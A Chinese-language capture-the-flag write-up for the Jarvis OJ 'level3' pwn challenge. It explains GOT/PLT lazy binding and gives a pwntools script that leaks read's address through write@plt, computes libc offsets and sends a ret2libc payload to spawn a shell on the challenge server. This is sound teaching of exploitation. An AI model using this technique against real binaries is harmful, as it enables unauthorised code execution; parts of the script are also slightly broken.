以前并没有对libc这些太理解,刚好借助这道题把基本思路整理下。
过程:
出题人很厉害,只通过改变些许地方就能改变题目的难度。
下载文件 level3和libc-2.19.so,查看文件保护--level3
可以栈溢出,但堆栈不可执行所以我们的shellcode就不能写入了,同时也没有地址随机化。
libc保护使用ida载入,程序逻辑基本不变。
仍然是栈溢出,但找不到system函数和‘bin/sh’字符串。单单通过level3这一个文件很难pwn下这道题。新的方法是通过泄露got表中函数的具体加载地址,通过偏移找到函数的库,然后通过这些找到其他函数的加载地址,即我们要找的system函数。
这里先说一下libc,got表和plt表
libc库:保存着我们已经编译好的函数,需要时我们就可以直接进行调用。C语言中我们通过#include<>调用。
got表:全局函数表
plt表: 内部函数表
********************************************************
这里借了一下 @xiaobozi 的博文 https://www.jianshu.com/p/6626a866ad66
延迟绑定
所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。
下面简单介绍一下延迟绑定的基本原理。假如存在一个bar函数,这个函数在PLT中的条目为bar@plt,在GOT中的条目为bar@got,那么在第一次调用bar函数的时候,首先会跳转到PLT,伪代码如下:
bar@plt:
jmp bar@got
patch bar@got
对于这道题来说vulnerable_function函数调用了read函数
进入找到plt表
跟进got表,这里存的便是read函数的真正地址。
就是这里
这下我们就找到了解题的方法。
通过vulnerable_function中的read构造栈溢出,并且覆写返回地址为plt中write的地址。再通过write泄露出read在内存中的绝对地址。再结合libc文件,便可以推算出系统调用的地址。
查找libc文件中需要的地址
poc
from pwn import *
elf=ELF("level3")
plt_write=elf.plt['write'] #write在plt中的地址
got_read=elf.got['read'] #read函数在got中的地址
vulnerable=elf.symbols['vulnerable_function'] #vulnerable_function函数的地址
payload=0x88*"a"+"link"+p32(plt_write)+p32(vulnerable)+p32(0x1)#write第一个参数+p32(got_read)#传入第二个参数,read函数的地址 +p32(0x04) #read函数的第三个参数
r=remote("pwn2.jarvisoj.com",9879)
r.recvuntil("Input:\n")
r.send(payload)
a=r.recv(4)
read_address = u32(a[0:4])
print hex(read_address)
打印出了read函数的真实地址,接下来计算偏移,开始pwn掉
read_libc_address = 0x000daf60
offset = read_address - read_libc_address
system_address = offset + 0x00040310
exit_address = offset + 0x00033260
bin_sh_address = offset + 0x16084c
payload=0x88*"a"+"link"+p32(system_address)+p32(exit_address)+p32(bin_sh_addressr)
r.send(payload)
r.interactive()
关键点
借的一张图使用write函数进行两次溢出,第一次泄露地址,第二次使用第二次获得shell
网友评论